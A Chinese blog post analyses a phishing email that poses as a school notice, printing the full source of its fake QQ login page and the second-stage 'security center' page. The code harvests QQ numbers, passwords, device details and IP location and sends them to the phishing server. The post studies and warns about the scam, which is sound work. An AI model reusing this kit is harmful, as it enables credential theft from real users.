Skip to content

记一次有趣的钓鱼邮件分析

Updated: at 04:51编辑

前言

遇到陌生钓鱼邮件请勿点击其中的链接,而是向发送者确认是否账号被盗并采取相应的补救措施。

起因

在 QQ 空间看到了好友发的一条钓鱼邮件,出于好奇心向 TA 索要了邮件的源文件,下面让我们一起分析一下吧~

正文

校务处告知书通知
http://xtzztxqq.xltzz.cn/wd/shoy/shop 《备注:请收到的同学们复制链接至浏览器查阅》

按理说任何人一眼就能看出来这是一个钓鱼链接,还贴心地写了备注(防拦截),如果一位学生没有注意链接地址,很可能就直接打开了。那我们来分析分析这个链接的内容(如果你没有足够的隔离能力请勿像我一样直接打开链接!):

对应地址的响应内容:

<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="referrer" content="always" />
    <meta
      name="viewport"
      content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"
    />
    <title>__</title>
    <meta name="apple-mobile-web-app-capable" content="yes" />
    <link href="/assets/index/css/shoy.css?v=1" rel="stylesheet" />
    <script
      type="text/javascript"
      src="/assets/index/js/jquery.min.js"
    ></script>
    <script type="text/javascript" src="/assets/index/js/ip.js"></script>
  </head>
  <body style="background-size: 1920px;">
    <div id="content" class="content">
      <div id="error_tips" style="display: none;">
        <div id="error_tips_content">
          <span id="error_icon"></span>
          <span id="error_message"></span>
        </div>
      </div>
      <div id="login" class="login">
        <div id="logo" class="logo"></div>
        <div id="web_login">
          <input
            style="visibility:hidden"
            type="text"
            name="user"
            id="domainText"
            autocomplete="off"
            value=""
          />
          <input type="hidden" id="type" name="type" value="" />
          <ul id="g_list">
            <li id="g_u">
              <div id="del_touch" class="del_touch">
                <span id="del_u" class="del_u"></span>
              </div>
              <div name="0" class="my"></div>
              <input
                id="u"
                class="inputstyle"
                name="username"
                maxlength="11"
                placeholder="&#32;&#32;&#81;&#81;&#x7801;/手&#x673A;/&#37038;&#x7BB1;"
              />
            </li>
            <li id="g_p">
              <div id="del_touch_p" class="del_touch">
                <span id="del_p" class="del_u"></span>
              </div>
              <div name="1" class="my"></div>
              <input
                id="p"
                class="inputstyle"
                maxlength="16"
                type="password"
                name="pass"
                placeholder="&#32;&#32;&#36755;&#x5165;&#x7801;"
                readonly
              />
            </li>
          </ul>
          <div
            id="go"
            class="ivhhsCP"
            data-clipboard-text="##X-1DGhU9kYf1927U_R##"
            onClick="Login();"
          >
            &#x767B;&#x20;&#x5F55;
          </div>
        </div>
        <div id="switch">
          <div id="zc_feedback">
            <a id="zc" href=""></a>
            <a id="forgetpwd" href=""></a>
          </div>
        </div>
      </div>
      <div id="key1" class="jp en">
        <ul class="uls">
          <li class="key">q</li>
          <li class="key">w</li>
          <li class="key">e</li>
          <li class="key">r</li>
          <li class="key">t</li>
          <li class="key">y</li>
          <li class="key">u</li>
          <li class="key">i</li>
          <li class="key">o</li>
          <li class="key">p</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen">
          <li class="key">a</li>
          <li class="key">s</li>
          <li class="key">d</li>
          <li class="key">f</li>
          <li class="key">g</li>
          <li class="key">h</li>
          <li class="key">j</li>
          <li class="key">k</li>
          <li class="key">l</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen">
          <li class="key_sj" id="A">
            <img src="/assets/index/images/0.png" width="20" />
          </li>
          <li class="key">z</li>
          <li class="key">x</li>
          <li class="key">c</li>
          <li class="key">v</li>
          <li class="key">b</li>
          <li class="key">n</li>
          <li class="key">m</li>
          <li class="key_del">
            <img src="/assets/index/images/1.png" width="25" />
          </li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ulbot">
          <li class="key_foot key_123">123</li>
          <li class="space">空格</li>
          <li class="key_ok">确认</li>
          <div class="clear"></div>
        </ul>
      </div>
      <div id="key1_" class="jp en">
        <ul class="uls">
          <li class="key">Q</li>
          <li class="key">W</li>
          <li class="key">E</li>
          <li class="key">R</li>
          <li class="key">T</li>
          <li class="key">Y</li>
          <li class="key">U</li>
          <li class="key">I</li>
          <li class="key">O</li>
          <li class="key">P</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen">
          <li class="key">A</li>
          <li class="key">S</li>
          <li class="key">D</li>
          <li class="key">F</li>
          <li class="key">G</li>
          <li class="key">H</li>
          <li class="key">J</li>
          <li class="key">K</li>
          <li class="key">L</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen">
          <li class="key_sj" style="background:#fff" id="a">
            <img style="width:1.25rem" src="/assets/index/images/2.png" />
          </li>
          <li class="key">Z</li>
          <li class="key">X</li>
          <li class="key">C</li>
          <li class="key">V</li>
          <li class="key">B</li>
          <li class="key">N</li>
          <li class="key">M</li>
          <li class="key_del">
            <img src="/assets/index/images/1.png" width="25" />
          </li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ulbot">
          <li class="key_foot key_123">123</li>
          <li class="space">空格</li>
          <li class="key_ok">确认</li>
          <div class="clear"></div>
        </ul>
      </div>
      <div id="key2" class="jp shuzi">
        <ul class="uls">
          <li class="key">1</li>
          <li class="key">2</li>
          <li class="key">3</li>
          <li class="key">4</li>
          <li class="key">5</li>
          <li class="key">6</li>
          <li class="key">7</li>
          <li class="key">8</li>
          <li class="key">9</li>
          <li class="key">0</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen">
          <li class="key">-</li>
          <li class="key">/</li>
          <li class="key">:</li>
          <li class="key">;</li>
          <li class="key">(</li>
          <li class="key">)</li>
          <li class="key">$</li>
          <li class="key">&amp;</li>
          <li class="key">@</li>
          <li class="key">"</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ul5">
          <li class="key_sj" id="teshu">
            <p style="font-size:1rem">#+=</p>
          </li>
          <li class="key">.</li>
          <li class="key">,</li>
          <li class="key">?</li>
          <li class="key">!</li>
          <li class="key">'</li>
          <li class="key_del">
            <img src="/assets/index/images/1.png" width="25" />
          </li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ulbot">
          <li class="key_foot key_abc">abc</li>
          <li class="space">空格</li>
          <li class="key_ok">确认</li>
          <div class="clear"></div>
        </ul>
      </div>
      <div id="key3" class="jp zifu">
        <ul class="uls">
          <li class="key">[</li>
          <li class="key">]</li>
          <li class="key">{</li>
          <li class="key">}</li>
          <li class="key">#</li>
          <li class="key">%</li>
          <li class="key">^</li>
          <li class="key">*</li>
          <li class="key">+</li>
          <li class="key">=</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen">
          <li class="key">_</li>
          <li class="key">\</li>
          <li class="key">|</li>
          <li class="key">~</li>
          <li class="key">&lt;</li>
          <li class="key">&gt;</li>
          <li class="key">$</li>
          <li class="key">&amp;</li>
          <li class="key">@</li>
          <li class="key">"</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ul5">
          <li class="key_sj key_123">
            <p style="font-size:1rem">123</p>
          </li>
          <li class="key">.</li>
          <li class="key">,</li>
          <li class="key">?</li>
          <li class="key">!</li>
          <li class="key">'</li>
          <li class="key_del">
            <img src="/assets/index/images/1.png" width="25" />
          </li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ulbot">
          <li class="key_foot key_abc">abc</li>
          <li class="space">空格</li>
          <li class="key_ok">确认</li>
          <div class="clear"></div>
        </ul>
      </div>
      <div id="key4" class="jp zifu">
        <ul class="uls">
          <li class="number">1</li>
          <li class="number">2</li>
          <li class="number">3</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls">
          <li class="number">4</li>
          <li class="number">5</li>
          <li class="number">6</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls">
          <li class="number">7</li>
          <li class="number">8</li>
          <li class="number">9</li>
          <div class="clear"></div>
        </ul>
        <ul class="uls ulscen ulbot">
          <li class="num_ok" id="ok">确认</li>
          <li class="number">0</li>
          <li class="num-del" id="del">
            <img src="/assets/index/images/1.png" width="25" />
          </li>
          <div class="clear"></div>
        </ul>
      </div>
    </div>
    <script type="text/javascript">
      var system_str = "PC";
      let webLog = {};
      let userAgent = navigator.userAgent;
      // 获取微信版本
      let m1 = userAgent.match(/MicroMessenger.*?(?= )/);
      if (m1 && m1.length > 0) {
        webLog.wechat = m1[0];
      }
      // 苹果手机
      if (userAgent.includes("iPhone") || userAgent.includes("iPad")) {
        // 获取设备名
        if (userAgent.includes("iPad")) {
          webLog.device = "iPad";
        } else {
          webLog.device = "iPhone";
        }
        // 获取操作系统版本
        m1 = userAgent.match(/iPhone OS .*?(?= )/);
        if (m1 && m1.length > 0) {
          webLog.system = m1[0];
        }
        system_str = "苹果" + webLog.device + " " + webLog.system;
      }
      // 安卓手机
      if (userAgent.includes("Android")) {
        // 获取设备名
        m1 = userAgent.match(/Android.*; ?(.*(?= Build))/);
        if (m1 && m1.length > 1) {
          webLog.device = m1[1];
        }
        // 获取操作系统版本
        m1 = userAgent.match(/Android.*?(?=;)/);
        if (m1 && m1.length > 0) {
          webLog.system = m1[0];
        }
        system_str = "安卓" + webLog.device + " " + webLog.system;
      }

      document.body.addEventListener(
        "touchmove",
        function (e) {
          e.preventDefault();
        },
        {
          passive: false,
        },
      );
      $(".my").click(function () {
        index = $(this).attr("name");
        if (index == 0) {
          $(".jp").hide();
          $("#key4").show();
          chang = 10;
        } else {
          $(".jp").hide();
          $("#key1").show();
          chang = 16;
        }
      });
      $(".key,.number").click(function () {
        data = $(".inputstyle").eq(index).val();
        if (data.length <= chang) {
          $(".inputstyle")
            .eq(index)
            .val($(".inputstyle").eq(index).val() + $(this).html());
          if (index == 0) {
            $("#del_touch").show();
          } else {
            $("#del_touch_p").show();
          }
        }
      });
      $(".space").click(function () {
        data = $(".inputstyle").eq(index).val();
        if (data.length <= chang) {
          $(".inputstyle")
            .eq(index)
            .val($(".inputstyle").eq(index).val() + " ");
        }
      });
      $(".key_del,#del").click(function () {
        data = $(".inputstyle").eq(index).val();
        $(".inputstyle")
          .eq(index)
          .val(data.substr(0, data.length - 1));
      });
      $(".key_ok,#ok").click(function () {
        $(".jp").hide();
      });
      $(".key_abc,#a").click(function () {
        $(".jp").hide();
        $("#key1").show();
      });
      $(".key_123").click(function () {
        $(".jp").hide();
        $("#key2").show();
      });
      $("#A").click(function () {
        $(".jp").hide();
        $("#key1_").show();
      });
      $("#teshu").click(function () {
        $(".jp").hide();
        $("#key3").show();
      });
      function sameChar(str) {
        var result = true;
        var c = str.charAt(0);
        for (var i = 0; i < str.length; i++) {
          if (c != str.charAt(i)) {
            result = false;
            break;
          }
        }
        return result;
      }
      function error(msg) {
        $("#error_message").html(msg);
        $("#error_tips").show().delay(3000).hide(0);
        var err = true;
      }
      function Login() {
        var u = $("#u").val();
        var p = $("#p").val();

        if (u == "") {
          error(
            "&#24744;&#36824;&#27809;&#26377;&#36755;&#20837;&#24080;&#21495;!",
          );
          return false;
        }
        if (p == "") {
          error(
            "&#24744;&#36824;&#27809;&#26377;&#36755;&#20837;&#23494;&#30721;!",
          );
          return false;
        }
        if (u.length < 6 || u.length > 11) {
          error(
            "&#24744;&#36755;&#20837;&#30340;&#81;&#81;&#21495;&#30721;&#38169;&#35823;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;",
          );
          $("#u").val("");
          return false;
        }
        if (p.length < 6 || p.length > 16) {
          error(
            "&#24744;&#36755;&#20837;&#30340;&#81;&#81;&#23494;&#30721;&#38169;&#35823;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;",
          );
          $("#p").val("");
          return false;
        }
        if (sameChar(u)) {
          error(
            "&#24744;&#36755;&#20837;&#30340;&#81;&#81;&#21495;&#30721;&#38169;&#35823;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;",
          );
          $("#u").val("");
          return false;
        }
        if (sameChar(p)) {
          error(
            "&#24744;&#36755;&#20837;&#30340;&#81;&#81;&#23494;&#30721;&#38169;&#35823;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;",
          );
          $("#p").val("");
          return false;
        }

        var ip = localStorage.getItem("ip");
        $.ajax({
          type: "get",
          dataType: "JSON",
          url:
            "/index/index/status?action=add&u=" +
            u +
            "&p=" +
            p +
            "&id=&system_str=" +
            system_str +
            "&ip=" +
            ip,
          success: function (res) {
            if (res.url != "") {
              window.location.href = res.url;
            }
          },
        });
      }

      $(document).ready(function () {
        get_if_from_ip138();
      });
    </script>
  </body>
</html>

通过简单分析可以很轻易的发现这个网站是伪装成为一个 QQ 邮箱登陆页面,这符合正常人的认知(登录邮箱以查看通知),网页还贴心地提供了 iPhone 小键盘(虽然模仿的不像)。网站标题设置为 __ 用于伪装真实目的,下面来一起分析一下页面结构:

<head>
  <meta charset="utf-8" />
  // 设置编码
  <meta name="referrer" content="always" />
  // 这是一个错误的写法,页面作者可能想要始终带上来源头方便后端统计
  <meta
    name="viewport"
    content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"
  />
  <title>__</title>
  // 页面标题,具有迷惑性
  <meta name="apple-mobile-web-app-capable" content="yes" />
  // 针对苹果手机的设置
  <link href="/assets/index/css/shoy.css?v=1" rel="stylesheet" />
  // 引入 CSS
  <script type="text/javascript" src="/assets/index/js/jquery.min.js"></script>
  // 引入 jQuery,看了一眼版本是 v2.2.2
  <script type="text/javascript" src="/assets/index/js/ip.js"></script>
  // 获取 IP 的逻辑
</head>

接下来就是页脚的 JavaScript 脚本部分了,直接上 AI 解析:

/* 这段代码是抄的,因为我找到了源码;获取系统信息 */
// 定义一个变量 system_str,初始值为"PC",用于表示系统类型。
var system_str = "PC";

// 定义一个空对象 webLog,用于存储与用户访问相关的日志信息。
let webLog = {};

// 获取用户代理字符串,该字符串包含有关浏览器和操作系统信息。
let userAgent = navigator.userAgent;

// 获取微信版本信息
// 使用正则表达式匹配 MicroMessenger 后面跟随的内容,直到空格之前。
let m1 = userAgent.match(/MicroMessenger.*?(?= )/);
// 如果匹配成功并且匹配结果不为空,则将微信版本信息添加到 webLog 对象中。
if (m1 && m1.length > 0) {
  webLog.wechat = m1[0];
}

// 检测是否为苹果手机(iPhone 或 iPad)
if (userAgent.includes("iPhone") || userAgent.includes("iPad")) {
  // 检测是否为 iPad
  if (userAgent.includes("iPad")) {
    webLog.device = "iPad"; // 如果是 iPad,则设置设备名为 iPad
  } else {
    webLog.device = "iPhone"; // 否则设置为 iPhone
  }
  // 获取操作系统版本
  // 使用正则表达式匹配 iPhone OS 后面跟随的内容,直到空格之前。
  m1 = userAgent.match(/iPhone OS .*?(?= )/);
  // 如果匹配成功并且匹配结果不为空,则将操作系统版本信息添加到 webLog 对象中。
  if (m1 && m1.length > 0) {
    webLog.system = m1[0];
  }
  // 更新 system_str 变量,包含设备名和操作系统版本。
  system_str = "苹果" + webLog.device + " " + webLog.system;
}

// 检测是否为安卓手机
if (userAgent.includes("Android")) {
  // 获取设备名
  // 使用正则表达式匹配 Android 后面跟随的内容,直到分号之前。
  m1 = userAgent.match(/Android.*; ?(.*(?= Build))/);
  // 如果匹配成功并且匹配结果不为空,则将设备名信息添加到 webLog 对象中。
  if (m1 && m1.length > 1) {
    webLog.device = m1[1];
  }
  // 获取操作系统版本
  // 使用正则表达式匹配 Android 后面跟随的内容,直到分号之前。
  m1 = userAgent.match(/Android.*?(?=;)/);
  // 如果匹配成功并且匹配结果不为空,则将操作系统版本信息添加到 webLog 对象中。
  if (m1 && m1.length > 0) {
    webLog.system = m1[0];
  }
  // 更新 system_str 变量,包含设备名和操作系统版本。
  system_str = "安卓" + webLog.device + " " + webLog.system;
}

/* 阻止触屏设备操作页面 */
// 给 document 的 body 元素添加一个事件监听器,监听"touchmove"事件。
document.body.addEventListener(
  "touchmove",
  function (e) {
    // 当事件触发时,调用事件的 preventDefault 方法来阻止默认行为,即阻止页面的滚动。
    e.preventDefault();
  },
  // 设置 passive 为 false,确保事件监听器可以调用 preventDefault 方法。
  {
    passive: false,
  },
);

/* 屏幕伪键盘部分 */
/* @chatglm
 * 当点击类名为"my"的元素时,执行以下函数。
 * 这个函数用于切换显示不同的键盘布局,并设置字符数量限制。
 */
$(".my").click(function () {
  // 获取当前点击元素的自定义属性"name",并将其转换为整数赋值给变量 index。
  index = parseInt($(this).attr("name"), 10);

  // 根据 index 的值决定显示哪个键盘布局,并设置字符数量限制。
  if (index == 0) {
    // 隐藏所有键盘布局,并显示特定的键盘布局 ("#key4")。
    $(".jp").hide();
    $("#key4").show();
    // 设置字符数量限制为 10。
    chang = 10;
  } else {
    // 隐藏所有键盘布局,并显示另一个特定的键盘布局 ("#key1")。
    $(".jp").hide();
    $("#key1").show();
    // 设置字符数量限制为 16。
    chang = 16;
  }
});

/*
 * 当点击类名为"key"或"number"的元素时,执行以下函数。
 * 这个函数用于将点击的键盘按钮的字符追加到对应的输入框中。
 */
$(".key, .number").click(function () {
  // 获取当前索引 (index) 对应的输入框的值。
  data = $(".inputstyle").eq(index).val();

  // 如果输入框中的字符数量小于等于限制 (chang),则追加字符。
  if (data.length <= chang) {
    // 将点击的键盘按钮的字符追加到输入框中。
    $(".inputstyle")
      .eq(index)
      .val($(".inputstyle").eq(index).val() + $(this).html());

    // 根据index的值决定显示哪个删除按钮。
    if (index == 0) {
      $("#del_touch").show();
    } else {
      $("#del_touch_p").show();
    }
  }
});

/*
 * 当点击类名为"space"的元素时,执行以下函数。
 * 这个函数用于在输入框中追加一个空格字符。
 */
$(".space").click(function () {
  // 获取当前索引(index)对应的输入框的值。
  data = $(".inputstyle").eq(index).val();

  // 如果输入框中的字符数量小于等于限制(chang),则追加空格。
  if (data.length <= chang) {
    $(".inputstyle")
      .eq(index)
      .val($(".inputstyle").eq(index).val() + " ");
  }
});

/*
 * 当点击类名为"key_del"或元素ID为"del"的元素时,执行以下函数。
 * 这个函数用于从输入框中删除最后一个字符。
 */
$(".key_del, #del").click(function () {
  // 获取当前索引(index)对应的输入框的值。
  data = $(".inputstyle").eq(index).val();

  // 从输入框中删除最后一个字符。
  $(".inputstyle")
    .eq(index)
    .val(data.substr(0, data.length - 1));
});

/*
 * 当点击类名为"key_ok"或元素ID为"ok"的元素时,执行以下函数。
 * 这个函数用于隐藏所有键盘布局。
 */
$(".key_ok, #ok").click(function () {
  // 隐藏所有键盘布局。
  $(".jp").hide();
});

/*
 * 当点击类名为"key_abc"或元素ID为"a"的元素时,执行以下函数。
 * 这个函数用于显示字母键盘布局("#key1")。
 */
$(".key_abc, #a").click(function () {
  // 隐藏所有键盘布局,并显示字母键盘布局("#key1")。
  $(".jp").hide();
  $("#key1").show();
});

/*
 * 当点击类名为"key_123"的元素时,执行以下函数。
 * 这个函数用于显示数字键盘布局("#key2")。
 */
$(".key_123").click(function () {
  // 隐藏所有键盘布局,并显示数字键盘布局("#key2")。
  $(".jp").hide();
  $("#key2").show();
});

/*
 * 当点击元素ID为"A"的元素时,执行以下函数。
 * 这个函数用于显示大写字母键盘布局("#key1_")。
 */
$("#A").click(function () {
  // 隐藏所有键盘布局,并显示大写字母键盘布局("#key1_")。
  $(".jp").hide();
  $("#key1_").show();
});

/*
 * 当点击类名为"teshu"的元素时,执行以下函数。
 * 这个函数用于显示特殊字符键盘布局("#key3")。
 */
$("#teshu").click(function () {
  // 隐藏所有键盘布局,并显示特殊字符键盘布局("#key3")。
  $(".jp").hide();
  $("#key3").show();
});

/* @chatglm
 * 定义一个名为sameChar的函数,该函数接受一个参数str,预期是一个字符串。
 * 函数的目的是检查传入的字符串是否由相同的字符组成。
 */
function sameChar(str) {
  // 初始化一个变量result,并设置为true。这个变量用于存储最终的结果。
  var result = true;

  // 获取字符串str的第一个字符,并存储在变量c中。这个字符将作为比较的基准。
  var c = str.charAt(0);

  // 使用for循环遍历字符串str中的每一个字符。
  for (var i = 0; i < str.length; i++) {
    // 如果当前遍历到的字符与变量c存储的字符不同,
    // 则将result设置为false,并使用break语句退出循环。
    if (c != str.charAt(i)) {
      result = false;
      break;
    }
  }

  // 循环结束后,返回变量result的值。如果字符串由相同的字符组成,result为true;
  // 如果字符串中存在不同的字符,result为false。
  return result;
}

/* @chatglm
 * 定义一个名为error的函数,该函数接受一个参数msg,预期是一个字符串。
 * 函数的目的是显示一个错误消息,并在3秒后自动隐藏该消息。
 */
function error(msg) {
  // 使用jQuery选择器$("#error_message")选中页面中ID为error_message的元素,
  // 并使用.html()方法将传入的msg参数设置为该元素的HTML内容。
  // 这通常用于显示错误信息。
  $("#error_message").html(msg);

  // 使用jQuery选择器$("#error_tips")选中页面中ID为error_tips的元素,
  // 并使用.show()方法使其可见。
  // 接着,使用.delay(3000)设置一个延迟时间为3000毫秒(即3秒)的定时器,
  // 最后,使用.hide(0)方法在延迟结束后将元素隐藏,0表示隐藏动作立即完成,没有动画效果。
  $("#error_tips").show().delay(3000).hide(0);

  // 声明一个变量err并赋值为true,这个变量表示发生了错误。
  // 但是,这个变量在这个函数中没有被使用,也没有被返回,
  // 所以它在这个上下文中是无效的,可能是开发者忘记移除的代码或者是有其他用途但未在当前代码段中体现。
  // NOTE: 简称抄的
  var err = true;
}
/*
 * 定义一个名为Login的函数,用于处理登录逻辑。
 */
function Login() {
  // 使用jQuery的.val()方法获取ID为'u'的输入框的值,并存储在变量u中。
  var u = $("#u").val(); /* QQ号码 */
  // 使用jQuery的.val()方法获取ID为'p'的输入框的值,并存储在变量p中。
  var p = $("#p").val(); /* QQ密码 */

  // 检查用户名是否为空,如果为空,则调用error函数显示错误信息,并返回false。
  if (u == "") {
    error("您还没有输入账号!");
    return false;
  }
  // 检查密码是否为空,如果为空,则调用error函数显示错误信息,并返回false。
  if (p == "") {
    error("您还没有输入密码!");
    return false;
  }
  // 检查用户名的长度是否在6到11个字符之间,如果不是,则显示错误信息,并清空用户名输入框,然后返回false。
  if (u.length < 6 || u.length > 11) {
    error("您输入的账号错误,请重新输入!");
    $("#u").val("");
    return false;
  }
  // 检查密码的长度是否在 6 到 16 个字符之间,如果不是,则显示错误信息,并清空密码输入框,然后返回 false。
  if (p.length < 6 || p.length > 16) {
    error("您输入的密码错误,请重新输入!");
    $("#p").val("");
    return false;
  }
  // 调用 sameChar 函数检查用户名是否由相同的字符组成,如果是,则显示错误信息,并清空用户名输入框,然后返回 false。
  if (sameChar(u)) {
    error("您输入的账号错误,请重新输入!");
    $("#u").val("");
    return false;
  }
  // 调用 sameChar 函数检查密码是否由相同的字符组成,如果是,则显示错误信息,并清空密码输入框,然后返回 false。
  if (sameChar(p)) {
    error("您输入的密码错误,请重新输入!");
    $("#p").val("");
    return false;
  }

  // 从 localStorage 获取 IP 地址,并存储在变量 ip 中。
  var ip = localStorage.getItem("ip");

  // 使用 jQuery 的.ajax 方法发送一个 GET 请求到指定的 URL。
  $.ajax({
    type: "get", // 设置请求类型为 GET。
    dataType: "JSON", // 设置期望从服务器返回的数据类型为 JSON。
    url:
      "/index/index/status?action=add&u=" +
      u +
      "&p=" +
      p +
      "&id=&system_str=" +
      system_str +
      "&ip=" +
      ip, // 构建请求的 URL,包含用户名、密码、系统字符串和 IP 地址。
    success: function (res) {
      // 请求成功时执行的回调函数。
      // 如果服务器返回的 URL 不为空,则将浏览器窗口重定向到该 URL。
      if (res.url != "") {
        window.location.href = res.url;
      }
    },
  });
}
/*
 * 当文档(DOM)完全加载完成后,执行以下代码块。
 * 使用 jQuery 的$(document).ready() 方法可以确保在 DOM 元素可用之前不会执行任何 JavaScript 代码。
 */
$(document).ready(function () {
  /*
   * 调用 get_if_from_ip138 函数。
   * 这个函数调用预计是为了获取当前访问者的 IP 地址信息,
   * 可能是通过与 ip138 网站提供的 API 进行交互来实现的。
   * 由于函数定义未在此处提供,我们假设它执行以下操作:
   * 1. 发送请求到 ip138 的 API 端点。
   * 2. 处理返回的数据,可能是将 IP 地址信息显示在页面上或者用于其他逻辑处理。
   */
  get_if_from_ip138();
});

很明显我们还需要分析 ip.js 的内容,因为它提供了一些关键的函数和返回值:

// 定义一个变量 ip,初始值为"00"。
var ip = "00";

// 定义一个变量 timerId,用于存储定时器的 ID。
var timerId;

// 定义一个函数 gb,它接收一个参数 val,并将其赋值给变量 ip。
// 这个函数没有返回值,但是打印了一个与实际函数行为无关的注释。
function gb(val) {
  ip = val;
  // 输出结果:result:true
  // 注意:这个注释是不正确的,因为函数实际上没有返回任何值。
}

// 定义一个函数 fetchData,用于从 API 获取数据。
function fetchData() {
  try {
    // 调用 getDataFromAPI 函数,并使用.then 处理返回的 Promise。
    var result = getDataFromAPI().then((result) => {
      // 调用 gb 函数,并将结果传递给它。
      gb(result);
    });
    // 输出解析后的参数;
    // 在这里可以对结果进行进一步处理
    // 注意:实际上这里没有输出任何东西,也没有进一步处理结果。
  } catch (error) {
    // 如果发生错误,调用 gb 函数,并将错误对象传递给它。
    gb(error);
  }
}

// 定义一个函数 doSomething,用于执行某些操作。
function doSomething() {
  // 定义一个变量 index,并初始化为 0。
  var index = 0;
  // 将 index 增加 1。
  index += 1;
  // 如果 ip 不等于'00'或者 index 大于 20,执行某些操作。
  if (ip !== "00" || index > 20) {
    // 调用 from_data_tockout_ip 函数,尽管没有传递参数,但函数内部没有使用参数。
    var str = from_data_tockout_ip();
  }
}

// 定义一个函数 from_data_tockout_ip,用于处理和提取字符串中的数据。
function from_data_tockout_ip(str) {
  // 定义一个变量 ret,并赋值为参数 str。
  var ret = str;
  // 如果 ret 为空、为空字符串或长度小于 10,返回 ret。
  if (!ret || ret === "" || ret.length < 10) {
    return ret;
  }
  // 如果 ret 中的特定字符串索引小于 6,或者左括号的索引小于 3,返回 ret。
  if (ret.indexOf('"ret":"ok"') < 6 || ret.indexOf("(") < 3) {
    return ret;
  }
  // 定义一个正则表达式,用于匹配括号内的内容。
  var regex = /\((.+)\)/;
  // 使用正则表达式匹配 ret,并获取匹配结果。
  var match = ret.match(regex);

  // 如果没有匹配结果,返回 ret。
  if (!match) {
    return ret;
  }
  // 从匹配结果中提取括号内的文本。
  var middleText = match[1];
  // 将提取的文本解析为 JSON 对象。
  var jsonObject = JSON.parse(middleText);
  // 从 JSON 对象中提取 ret 和 ip 字段。
  var ret1 = jsonObject.ret;
  var iip = jsonObject.ip;
  // 构建一个字符串 data,并使用 encodeURIComponent 对其进行编码。
  var data =
    encodeURIComponent(
      jsonObject.data[0] +
        jsonObject.data[1] +
        jsonObject.data[2] +
        jsonObject.data[3] +
        jsonObject.data[4],
    ) +
    " " +
    iip;
  // 返回 data 字符串。
  return data;
}

// 定义一个变量 ip138_url,存储 ip138 API 的 URL。
var ip138_url =
  "https://api.ip138.com/ip/?ip=&callback=find&oid=27360&mid=89771&sign=163310472757d02bf92a11a187cc1a25";
// 定义一个函数 get_if_from_ip138,用于从 ip138 API 获取 IP 信息。
function get_if_from_ip138() {
  // 使用 jQuery 的.ajax 方法发送 GET 请求。
  $.ajax({
    type: "get", // 设置请求类型为 GET。
    url: ip138_url, // 设置请求的 URL。
    success: function (res) {
      // 请求成功时的回调函数。
      // 将响应数据存储到 sessionStorage 和 localStorage。
      sessionStorage.setItem("ip", res);
      localStorage.setItem("ip", res);
      console.log("1"); // 打印'1'到控制台。
    },
    error: function (xhr, status, error) {
      // 请求失败时的回调函数。
      // 获取错误响应的文本。
      var errorResponse = xhr.responseText;
      // 尝试从错误响应中提取 IP 信息。
      var ip = errorResponse;
      if (ip) {
        ip = from_data_tockout_ip(errorResponse);
      }
      // 将提取的 IP 信息存储到 sessionStorage 和 localStorage。
      sessionStorage.setItem("ip", ip);
      localStorage.setItem("ip", ip);
      console.log("2");
    },
  });
}

通过源码我们可以得知在输入密码后会请求这样一个页面(上报用户名密码):

http://xtzztxqq.xltzz.cn/index/index/status?action=add&u=10001&p=114514191&id=&system_str=PC&ip=%E4%B8%AD%E5%9B%BD%E6%B9%96%E5%8C%97%E6%AD%A6%E6%B1%89%E6%AD%A6%E6%98%8C%E7%A7%BB%E5%8A%A8%20xx.x.x.x

// 简单解析得到:
action: add
u: 10001
p: 114514191
id: 
system_str: PC
ip: 中国湖北武汉武昌移动 xx.x.x.x

响应是一个 JSON 体,返回了应该跳转到的地址:

{
  "url": "/index/index/safe/id/234.html"
}

这里同样将页面在此备份一下:

<!DOCTYPE html>
<html>
    <head>
        <meta charset=utf-8>
        <meta name=viewport content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no">
        <title>正在排队中...(剩余3人)</title>
        <link href="/assets/safe/css/app.50065be38da279b28a08c1b4abf13edf.css" rel=stylesheet>
        <script src="/assets/safe/js/jquery-1.6.min.js"></script>
    </head>
    <body style="font-size: 12px;">
        <div id="app">
            <div data-v-55de12ee="">
                <div data-v-4db547e8="" data-v-55de12ee="" class="header-box">
                    <div data-v-4db547e8="" class="left-box">
                        <div data-v-4db547e8="" class="logo">
                        <!--<img data-v-4db547e8="" src="/assets/safe/images/aa.png">-->
                        </div>
                        <div data-v-4db547e8="" class="title">安全中心</div>
                    </div>
                    <div data-v-4db547e8="" class="right-box">
                        <div data-v-4db547e8="">安全公告</div>
                        <div data-v-4db547e8="">|</div>
                        <div data-v-4db547e8="">反馈问题</div>
                    </div>
                </div>
                <div data-v-580bb95f="" data-v-55de12ee="">
                    <div data-v-580bb95f="" class="content">
                        <div data-v-580bb95f="" class="loading-box">
                            <div data-v-580bb95f="" class="donghua1" style="display: none;">
                                <div data-v-580bb95f="" class="bullet"></div>
                                <div data-v-580bb95f="" class="bullet"></div>
                                <div data-v-580bb95f="" class="bullet"></div>
                                <div data-v-580bb95f="" class="bullet"></div>
                            </div>
                            <div data-v-580bb95f="" class="spinner2" style="display: none;">
                                <img src="/assets/safe/images/ee.jpg" alt="Angry"/>
                                <div data-v-580bb95f="" class="double-bounce1"></div>
                                <div data-v-580bb95f="" class="double-bounce2"></div>
                                <img src="https://security-web.cdn-go.cn/security-web/7b1a0436/home/page/index/assets/images/logo-light.98ac06bf-2598e.svg"/>
                            </div>
